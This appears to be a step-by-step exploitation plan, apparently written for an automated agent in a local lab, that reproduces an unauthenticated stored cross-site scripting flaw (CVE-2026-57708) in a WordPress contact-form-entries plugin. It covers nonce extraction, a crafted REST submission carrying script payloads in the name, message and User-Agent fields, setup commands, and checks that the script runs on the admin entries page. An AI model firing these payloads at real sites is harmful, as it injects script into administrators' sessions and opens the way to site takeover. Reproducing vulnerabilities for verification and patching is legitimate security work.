Database for Contact Form 7, WPforms, Elementor forms <= 1.5.2 - Unauthenticated Stored Cross-Site Scripting

This research plan targets CVE-2026-57708, a Stored Cross-Site Scripting (XSS) vulnerability in the "Database for Contact Form 7, WPforms, Elementor forms" plugin.

1. Vulnerability Summary

The plugin (slug: contact-form-entries) is designed to capture and store submissions from popular contact form plugins. It fails to sanitize form input before storing it in the database and, more critically, fails to escape this data when rendering it in the WordPress administrative dashboard (and potentially on the frontend via shortcodes). An unauthenticated attacker can submit a contact form containing malicious JavaScript, which will execute in the context of an administrator's session when they view the "CRM Entries" page.

2. Attack Vector Analysis

• Endpoint: The submission endpoint of any supported contact form plugin (e.g., Contact Form 7, WPForms, or Elementor).
• Vulnerable Action: Form submission.
• HTTP Parameter: Any form field value (e.g., your-name, your-message, email).
• Authentication: None required (Unauthenticated).
• Preconditions:
  1. The contact-form-entries plugin is active.
  2. A supported form (e.g., Contact Form 7) is published on a page.

3. Code Flow

1. Entry: An unauthenticated user submits a Contact Form 7 (CF7) form.
2. Hook: The plugin's instance() method (in contact-form-entries.php) calls setup_main().
3. Capture: setup_main() registers a filter: add_filter('wpcf7_before_send_mail', array($this, 'create_entry_cf'), 10);.
4. Storage: The function create_entry_cf (inferred) retrieves the $posted_data from the CF7 submission and inserts it into the $wpdb->prefix . 'vxcf_leads' table without sanitization.
5. Sink (Admin): An administrator navigates to wp-admin/admin.php?page=vxcf_leads.
6. Rendering: The template templates/leads.php fetches the entries. While some metadata like entry_title is escaped with esc_html(), the actual form field values are rendered into the table rows without proper escaping (e.g., using esc_html() or wp_kses()), leading to script execution.

4. Nonce Acquisition Strategy

The vulnerability is triggered by a standard form submission of a third-party plugin (like CF7). The contact-form-entries plugin does not require its own nonce for this process as it hooks into the existing submission flow.

To obtain the necessary nonce for a Contact Form 7 submission:

1. Identify the page containing the CF7 form.
2. Navigate to the page using browser_navigate.
3. Extract the CF7 nonce from the hidden input field:
   • browser_eval("document.querySelector('input[name=\"_wpcf7_nonce\"]')?.value")
4. Alternatively, identify the REST API nonce if the form uses the REST API:
   • browser_eval("window.wpcf7?.apiSettings?.nonce")

5. Exploitation Strategy

1. Identify Form: Locate a CF7 form ID on the site (e.g., id="123").
2. Craft Payload: Use a standard XSS payload: <script>alert(document.domain)</script>.
3. Submit Form: Send a POST request to the CF7 REST API endpoint.
   • Tool: http_request
   • URL: http://localhost:8080/index.php?rest_route=/contact-form-7/v1/contact-forms/<ID>/feedback
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Parameters:
     • _wpcf7: <ID>
     • _wpcf7_version: 5.x.x (standard)
     • _wpcf7_locale: en_US
     • _wpcf7_unit_tag: wpcf7-f<ID>-p1-o1
     • your-name: <script>alert("XSS_NAME")</script>
     • your-email: attacker@example.com
     • your-message: <script>alert("XSS_MESSAGE")</script>
4. Trigger: Log in to the WordPress dashboard as an admin and visit:
   • http://localhost:8080/wp-admin/admin.php?page=vxcf_leads

6. Test Data Setup

1. Install Plugins:
   • wp plugin install contact-form-7 --activate
   • wp plugin install contact-form-entries --version=1.5.2 --activate
2. Create Form: Use the default CF7 "Contact form 1".
3. Create Page:
   • wp post create --post_type=page --post_title="Contact Us" --post_content='[contact-form-7 id="5" title="Contact form 1"]' --post_status=publish
4. Capture ID: Note the ID of the newly created post and the CF7 form.

7. Expected Results

• The CF7 submission returns a success message: {"status":"mail_sent", "message":"..."}.
• Upon visiting the "CRM Entries" page in the admin dashboard, two JavaScript alerts (XSS_NAME and XSS_MESSAGE) will trigger.
• The HTML source of the admin page will contain the raw <script> tags within the <td> elements of the entries table.

8. Verification Steps

1. Database Check: Verify the payload is stored raw in the database.
   • wp db query "SELECT * FROM wp_vxcf_leads ORDER BY id DESC LIMIT 1;"
2. Admin UI Check: Use browser_navigate to the entries page and check for the presence of the alert or the script in the DOM.
   • browser_eval("document.body.innerHTML.includes('<script>alert')")

9. Alternative Approaches

• User-Agent Vector: If the plugin captures the Browser/OS without sanitization (as suggested by its "GDPR features"), use http_request with a custom User-Agent header containing the payload:
  • User-Agent: <script>alert('UA_XSS')</script>
• Frontend Shortcode: Check if the plugin displays entries on the frontend using the [vx-entries] shortcode. If so, creating a page with this shortcode would allow an unauthenticated user to trigger XSS against other visitors (Guest-to-Guest XSS).
  • wp post create --post_type=page --post_status=publish --post_content='[vx-entries form_id="cf_5"]' (inferred shortcode syntax).